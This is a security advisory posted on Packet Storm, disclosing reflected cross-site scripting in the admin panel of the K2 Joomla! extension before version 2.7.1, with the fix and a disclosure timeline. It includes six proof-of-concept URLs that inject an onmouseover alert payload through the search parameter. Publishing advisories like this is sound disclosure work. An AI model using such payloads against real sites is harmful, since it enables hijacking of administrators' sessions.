what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

K2 Joomla! Extension Cross Site Scripting

K2 Joomla! Extension Cross Site Scripting
Posted Aug 4, 2016
Authored by Manuel Mancera

K2 Joomla! extension versions prior to 2.7.1 suffer from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | a3fc93581f4ead8a4b1dbb2062c9656ac81bf9a53d8937c89a7c7a7b4db0204f

K2 Joomla! Extension Cross Site Scripting

Change Mirror Download
================================================================
K2 Joomla! Extension < 2.7.1 - Reflected Cross Site Scripting
================================================================

Information
--------------------
Name: K2 Joomla! Extension < 2.7.1 - Reflected Cross Site Scripting
Affected Software : K2
Affected Versions: < 2.7.1
Vendor Homepage : https://getk2.org/
http://extensions.joomla.org/extension/k2
Vulnerability Type : Reflected Cross Site Scripting
Severity : Medium
CVE: n/a


Product
--------------------
K2 is a Joomla! extension for content construction, so it allow edit the
content of the Joomla administration panel and the website.


Description
--------------------
The administrator panel of K2 suffers multiple reflected cross site
scripting. An attacker could trick to an administrator to click in a
malicious URL and steal his cookie or redirect to a malicious site to
generate new attack vectors (e.g. launch exploits against his browser).
This XSS just affects to administrators so the range of attacks is
limited but still is being a risk.


Source code fixed:
https://github.com/getk2/k2/commit/c78f929dd3fcd4c55ba614ef8e789b944c30dc8d


Proof of Concept
----------------
PoC:
http://localhost/administrator/index.php?option=com_k2&view=comments&search="
onmouseover="alert(document.domain)"/>

PoC:
http://localhost/administrator/index.php?option=com_k2&view=categories&search="
onmouseover="alert(document.domain)"/>

PoC:
http://localhost/administrator/index.php?option=com_k2&view=users&search="
onmouseover="alert(document.domain)"/>

PoC:
http://localhost/administrator/index.php?option=com_k2&view=extrafields&search="
onmouseover="alert(document.domain)"/>

PoC:
http://localhost/administrator/index.php?option=com_k2&view=items&search="
onmouseover="alert(document.domain)"/>

PoC:
http://localhost/administrator/index.php?option=com_k2&view=tags&search="
onmouseover="alert(document.domain)"/>




Solution
--------------------
Update to the latest release (2.7.1).

More info:
https://getk2.org/blog/2571-k2-v271-released

https://vel.joomla.org/resolved/1858-k2-2-7-0-xss-cross-site-scripting


Advisory Timeline
--------------------

26/07/2016 - Informed to the Vendor about the issue.
26/07/2016 - Vendor answers me and try to persuade about that the XSS is
not a vulnerability. He said: "Just because you can run a piece of JS
somewhere doesn't mean it's a security issue." WTF
28/07/2016 - Informed to Joomla VEL about the issue.
29/07/2016 - Joomla VEL confirmed and wrote me that the vendor will fix it.
29/07/2016 - Vendor confirms me the vulnerability. LOL
04/08/2016 - Vendor fixed in the latest release.
04/08/2016 - Public disclosure.


Definitely, sometimes a full disclosure is better than a responsible
disclosure.



Credits & Authors
--------------------
Manuel Mancera (@sinkmanu)



Disclaimer
-------------------
All information is provided without warranty. The intent is to provide
information to secure infrastructure and/or systems, not to be able to
attack or damage. Therefore A2Secure shall not be liable for any
director indirect damages that might be caused by using this information.
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close